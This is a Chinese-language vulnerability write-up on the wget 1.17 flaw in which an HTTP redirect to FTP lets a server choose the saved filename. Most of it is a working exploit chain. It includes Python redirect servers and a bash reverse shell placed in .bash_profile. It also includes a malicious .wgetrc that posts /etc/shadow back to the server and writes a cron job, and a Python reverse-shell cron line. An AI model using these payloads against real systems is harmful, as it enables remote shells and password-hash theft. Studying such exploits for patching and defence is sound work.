wget 1.17 引发的任意命令执行漏洞

0x0 wget

wget 是一款 Linux 下常用下载工具,其支持 HTTP、HTTPS、FTP 等多种协议,同时也被移植到多个平台。

0x1 漏洞简述

此次漏洞主要是 wget 对 HTTP 重定向中 FTP 协议的处理问题,漏洞存在于 1.17 及以下版本。当 wget 检测到服务器返回 301 或 302 时,会自动重定向并下载目标文件。

例如下载一个文件:

wget http://localhost/wooyun.txt

请求过程如下:

GET /wooyun.txt HTTP/1.1

HTTP/1.1 302 Found
Server: Nginx
Date: Tue, 05 Jul 2016 05:25:10 GMT
Location: http://localhost/w00yun.txt

默认情况下,即使重定向中的文件名不同,下载文件仍让会被保存为 wooyun.txt,这也是用户所期望的。

但是当返回的 Location 中使用 FTP 协议:

GET /wooyun.txt HTTP/1.1

HTTP/1.1 302 Found
Server: Nginx
Date: Tue, 05 Jul 2016 05:25:10 GMT
Location: ftp://user@localhost:21/w00yun.txt

此时 wget 会下载该文件并将其保存为 w00yun.txt。即重定向路径使用 FTP 协议的情况下,文件名会更新为目标文件。这样,在某些环境与条件下便会引发攻击。

0x2 漏洞利用

对于这个特性,我们可以 “被动” 上传文件到目标服务器,读取服务器文件,执行任意命令。

首先我们搭建测试环境,pyftpdlib 模块可用于快速建立 FTP 服务器:

sudo pip install pyftpdlib

使用 Python 实现一个脚本,将请求重定向到 FTP 服务器,FTP 使用匿名用户登录:

import SimpleHTTPServer
import SocketServer

HTTP_HOST = '127.0.0.1'
HTTP_PORT = 8080

HTTP_REDIRECT_HOST = 'ftp://anonymous@localhost:21'
HTTP_REDIRECT_FILE = '.bash_profile'

class RedirectServer(SimpleHTTPServer.SimpleHTTPRequestHandler):

    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', '%s/%s' % (HTTP_REDIRECT_HOST, HTTP_REDIRECT_FILE))
        self.end_headers()

handler = SocketServer.TCPServer((HTTP_HOST, HTTP_PORT), RedirectServer)
handler.serve_forever()

0x3 基于环境变量脚本的命令执行

首先在 FTP 服务器根目录下新建 .bash_profile 文件:

bash -i >& /dev/tcp/127.0.0.1/8888 0>&1

启动 FTP 服务:

sudo python -m pyftplib -p21 -w

ftp server

启动 HTTP 服务脚本:

http server

执行 wget 下载文件,请求被重定向到 FTP 服务器,之后环境变量脚本被下载到本地:

wget download

用户登录后,反弹回 shell:

Reverse shell

0x4 使用 cron 定时炸弹

另一种是方式是写入文件到定时任务表,时间触发后,命令自动执行。

定时任务可以通过 cron 实现。cron 是 Linux 下的定时任务守护进程,任务表可存放于 /etc/cron.d 目录下。但是我们需要解决一个问题:wget 下载的文件如何指定到特定的目录?

首先我们来看 .wgetrc 。~/.wgetrc 用于配置 wget 执行时的动作,而配置中有这么一个字段:

output_document = /path/to/write

这个字段相当于指定 -O 选项,即将文件写入到特定路径。所以我们先将 .wgetrc 写到用户目录,二次下载时触发配置动作。

但是事实上这个环境还是有点难想象,所以我们假设目标主机上配置了自动更新,某个时间向特定主机请求新文件:

cat /etc/cron.d/update_can_lao_shi_movie_lst

* * * * * root wget -N http://localhost:8080/latest.lst > /dev/null 2>&1

而我们控制了更新服务器,首先我们编写一个 .wgetrc 文件:

# 让 wget 执行 POST 动作,顺便把密码取回来
post_file = /etc/shadow
# 写入自动任务
output_document = /etc/cron.d/reverse-shell

更新我们的服务脚本:

import SimpleHTTPServer
import SocketServer

HTTP_HOST = '127.0.0.1'
HTTP_PORT = 8080

HTTP_REDIRECT_HOST = 'ftp://anonymous@localhost:21/'
HTTP_REDIRECT_FILE = '.wgetrc'

class RedirectServer(SimpleHTTPServer.SimpleHTTPRequestHandler):

    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', '%s/%s' % (HTTP_REDIRECT_HOST, HTTP_REDIRECT_FILE))
        self.end_headers()

    def do_POST(self):
        ' 显示获取的文件
        req_len = int(self.headers.getheader('Content-Length', 0))
        print self.rfile.read(req_len)

        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        ' Ubuntu 测试中 bash 反弹方式无法在 cron 下触发,所以使用 py 来实现
        self.wfile.write("* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")

handler = SocketServer.TCPServer((HTTP_HOST, HTTP_PORT), RedirectServer)
handler.serve_forever()

cron

纵观整个过程:

  1. 首先更新时间触发,客户端向服务器请求资源,重定向之后下载 .wgetrc 文件到本地用户目录。
  2. 接着,到下一个时间点,再次请求,此时 .wgetrc 配置了 post_file 和 output_document 参数,wget 会先将 /etc/shadow 文件 POST 到服务器,再把我们输出的任务表写入到 /etc/cron.d/reverse-shell。
  3. 最后,cron 在时间点触发 reverse-shell 文件,shell 反弹。

0x5 小记

另外还可写入 PHP Shell 之类的,当然姿势也挺多,大牛们当然有更绅士优雅的招式了 :)

参考资料